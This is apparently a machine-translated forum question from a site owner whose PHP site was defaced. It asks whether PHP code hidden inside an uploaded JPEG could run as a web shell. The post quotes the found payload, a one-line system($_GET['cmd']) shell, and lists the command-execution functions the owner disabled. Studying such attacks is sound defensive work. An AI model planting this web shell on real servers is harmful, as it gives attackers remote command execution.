Мой php сайт был взломан кодами, загруженными как изображение ..?

Вчера мой сайт состоял. Атакующий изменяет файл index.php на свой собственный (со всеми своими сообщениями славы и приветствия). Я уведомил об этом хостинговую компанию (мы работаем на выделенном сервере), и, со своей стороны, я пытаюсь исправить все, что кажется причиной, потому что я все еще не могу указать, как именно сервер был атакован, но я думаю, что я нашел определенные основанные на сценарии лазейки, которые могли бы быть виновником.

На нашем сайте есть форма загрузки изображений, но все загруженные изображения проверяются, если это действительно файл изображения, а не некоторые коды, с помощью функции php getimagesize. Только если тип изображения IMAGETYPE_GIF или IMAGETYPE_JPEG, или IMAGETYPE_PNG, они будут приняты. Иначе, они не смогут загрузить файл. Однако я обнаружил, что один загруженный файл изображения содержит скрипт php! Вы можете скачать изображениеВот, Это допустимый файл изображения, но попробуйте открыть изображение с помощью любого текстового редактора, и вы найдете внутри него php-код:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

Например, изображение загружается в это местоположение (www.mysite.com/uploads/picodes.jpg). Обратите внимание, что разрешение на загрузку в папку равно 755. Есть ли в мире способ, которым злоумышленник может выполнить систему (или любую другую команду, такую ​​как passthru, поскольку мы обнаружили, что другое изображение имеет тот же код, что и выше, но вместо системы , он имеет команду passthru), например, набравwww.mysite.com/uploads/picodes.jpg?cmd=some command ?? Насколько я знаю, это невозможно сделать (очень ценю, если кто-то может доказать, что я не прав), если злоумышленник не может переименовать файл jpg в php, и даже если эти коды скрыты глубоко внутри изображения (см. Изображение внутри текстовый редактор, чтобы понять, что я пытаюсь сказать)

Для предосторожности я отключил эти функции php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system), добавив их в disable_functions в php.ini.

В любом случае, я все еще думаю, что злоумышленник получает доступ не через Интернет, а через использование сервера, но я думаю, что моя хостинговая компания думает иначе.

Ответы на вопрос(4)

Ваш ответ на вопрос